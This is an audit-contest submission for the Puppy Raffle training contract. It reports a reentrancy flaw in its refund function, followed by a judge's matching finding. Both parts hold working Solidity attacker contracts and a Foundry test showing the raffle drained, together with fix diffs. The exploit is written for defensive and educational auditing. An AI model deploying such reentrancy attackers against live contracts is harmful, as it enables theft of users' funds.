Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in `PuppyRaffle::refund` allows a single player to drain the entire contract balance

Root + Impact

Root cause: PuppyRaffle::refund sends ETH to msg.sender before clearing players[playerIndex].

Impact: any single participant can re-enter refund recursively and drain the entire contract balance.

Description

  • Normally a player who calls refund receives exactly one entranceFee back, and their slot in players is immediately set to address(0) so the same ticket can never be refunded twice.

  • refund performs the external call before it clears the slot, violating checks-effects-interactions. While the attacker's receive hook runs, players[playerIndex] still holds the attacker's address, so both require statements pass again and the refund repeats until the contract is empty.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> (bool success,) = msg.sender.call{value: entranceFee}(""); // external call happens first
require(success, "PuppyRaffle: Failed to refund player");
@> players[playerIndex] = address(0); // state cleared too late
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Occurs whenever a participant enters from a contract that implements receive. This needs no privilege and costs exactly one entranceFee.

  • refund is public and unguarded, and getActivePlayerIndex hands the attacker the very index it needs.

Impact:

  • The contract is drained to zero in a single transaction: every honest player's stake plus all fees accumulated from previous rounds.

  • selectWinner afterwards reverts on the prize transfer, so the raffle is permanently bricked.

Proof of Concept

Attacker stakes 1 ether against four honest players and leaves with all 5 ether.

contract ReentrantPlayer {
PuppyRaffle raffle;
uint256 fee;
uint256 idx;
constructor(PuppyRaffle _r) { raffle = _r; fee = _r.entranceFee(); }
function attack() external payable {
address[] memory p = new address[](1);
p[0] = address(this);
raffle.enterRaffle{value: fee}(p);
idx = raffle.getActivePlayerIndex(address(this));
raffle.refund(idx);
}
receive() external payable {
if (address(raffle).balance >= fee) { raffle.refund(idx); }
}
}
function test_reentrancyRefundDrainsContract() public {
address[] memory p = new address[](4);
for (uint256 i = 0; i < 4; i++) p[i] = address(uint160(1000 + i));
puppyRaffle.enterRaffle{value: 4 ether}(p);
ReentrantPlayer attacker = new ReentrantPlayer(puppyRaffle);
vm.deal(address(attacker), 1 ether);
uint256 before = address(puppyRaffle).balance; // 4 ether
attacker.attack();
assertEq(address(puppyRaffle).balance, 0);
assertEq(address(attacker).balance, before + 1 ether); // 5 ether
}

Control test, confirming the harness is sound and the drain comes from reentrancy alone — an honest refund returns exactly one stake:

function test_honestRefundReturnsOnlyStake() public {
address[] memory p = new address[](4);
for (uint256 i = 0; i < 4; i++) p[i] = address(uint160(1000 + i));
puppyRaffle.enterRaffle{value: 4 ether}(p);
address player = address(uint160(1000));
uint256 before = player.balance;
vm.prank(player);
puppyRaffle.refund(0);
assertEq(player.balance - before, 1 ether);
assertEq(address(puppyRaffle).balance, 3 ether);
}

Both tests pass on the audited commit with forge test.

Recommended Mitigation

Clear the slot and emit before transferring, so a re-entrant call fails the address(0) check:

require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
+
(bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "PuppyRaffle: Failed to refund player");
-
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}

A nonReentrant modifier also works, but the reordering is sufficient and costs no extra gas.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!